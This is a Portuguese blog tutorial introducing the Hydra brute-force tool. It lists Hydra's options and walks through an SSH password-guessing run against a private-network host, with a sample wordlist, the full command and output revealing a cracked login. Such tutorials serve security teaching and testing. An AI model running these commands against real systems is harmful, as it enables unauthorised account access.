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Introdução ao Hydra – Brute Force

Uma pequena introdução ao Hydra!

Basicamente o Hydra descobre senha através de Brute Force (tentativa e erro), ele busca em wordlists possíveis usuários/senhas e vai testando as combinações, uma a uma. O Hydra tem suporte aos serviços Telnet, Formulário HTTP/HTTPS, SSH, MySQL, PostgreSQL, MSSQL, SMB, LDAP2 e LDAP3, FTP, SNMP, CVS,VNC, entre outros. 

A ferramenta já vem toda instalada e configurada (inclusive com interface gráfica) no Back Track, porém caso não tenha instalado, basta fazer o download do código-fonte e compilá-la em qualquer distribuição.

Conhecendo um pouco do Hydra

 Abaixo segue alguns parâmetros:
  • -R Restaura sessões abordadas/quebradas.
  • -S Conexão segura usando SSL caso seja necessário.
  • -s Especifica qual porta o hydra vai estabelecer a conexão.
Sintaxe:
# hydra –l username –p password –t threads IP protocol

# hydra -L lista -P lista -t threads IP protocol
Explicação:
  • -l nome/login da vitima.
  • -L Carrega uma lista contendo nomes/logins de vitimas. (1 por linha)
  • -p Especifica senha única.
  • -P Carrega uma lista com senhas.(1 por linha)
  • -e ns adcional ‘n’ testa senha em branco || adicional ‘s’ testa user como pass.
  • -C Usado para carregar um arquivo contendo usuário:senha. formato usuário:senha
  • equivale a -L/-P.
  • -M Carrega lista de servidores alvos.(1 por linha)
  • -o Salva as senhas encontradas dentro do arquivo que você especificar.
  • -f Faz o programa parar de trabalhar quando a senha||usuário for encontrada[o].
  • -t Limita o numero de solicitações por vez.(default: 16)
  • -w Define o tempo máximo em segundos para esperar resposta do serv.(default: 30s)
  • -v / -V Modo verbose do programa. ‘V’ mostra todas tentativas.
Abaixo segue um exemplo com o protocolo SSH:
hydra –L /tmp/wordlist.txt -P /tmp/wordlist.txt 192.168.0.101 ssh
Ele irá efetuar um bruteforce com usuários presentes na lista e com as senhas presentes na lista wordlist.txt no servidor cuja IP é 192.168.0.101.
Bom, abaixo segue um “cat” de um “wordlist.txt”:
[email protected]:/tmp# cat wordlist.txt
 sempreupdate
 hugo
 diogo
 danilo
 paula
 rosi
 1234
 mudar1234
 [email protected]
 coracao
 teste
 teste123
 root
 root123
 tux123
 123tux
[email protected]:/tmp# hydra -L /tmp/wordlist.txt -P /tmp/wordlist.txt 192.168.0.101 ssh
Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak – use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2012-09-03 15:17:16
WARNING: Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort…
[DATA] 16 tasks, 1 servers, 256 login tries (l:16/p:16), ~16 tries per task
[DATA] attacking service ssh on port 22
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
[22][ssh] host: 192.168.0.101 login: sempreupdate password: tux123 //AQUI ESTÁ!
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting[/code]
Repare que ele testa várias combinações e retorna “Timeout” quando não consegue fechar a autenticação. Porém quando consegue ele retorna :
[porta][protocolo]           host: IP             login: “login correto” password: “senha correta”                                            [22]       [ssh]       host: 192.168.0.101       login: sempreupdate              password: tux123   
Bom, essa foi apenas um introdução. Um abraço a todos.
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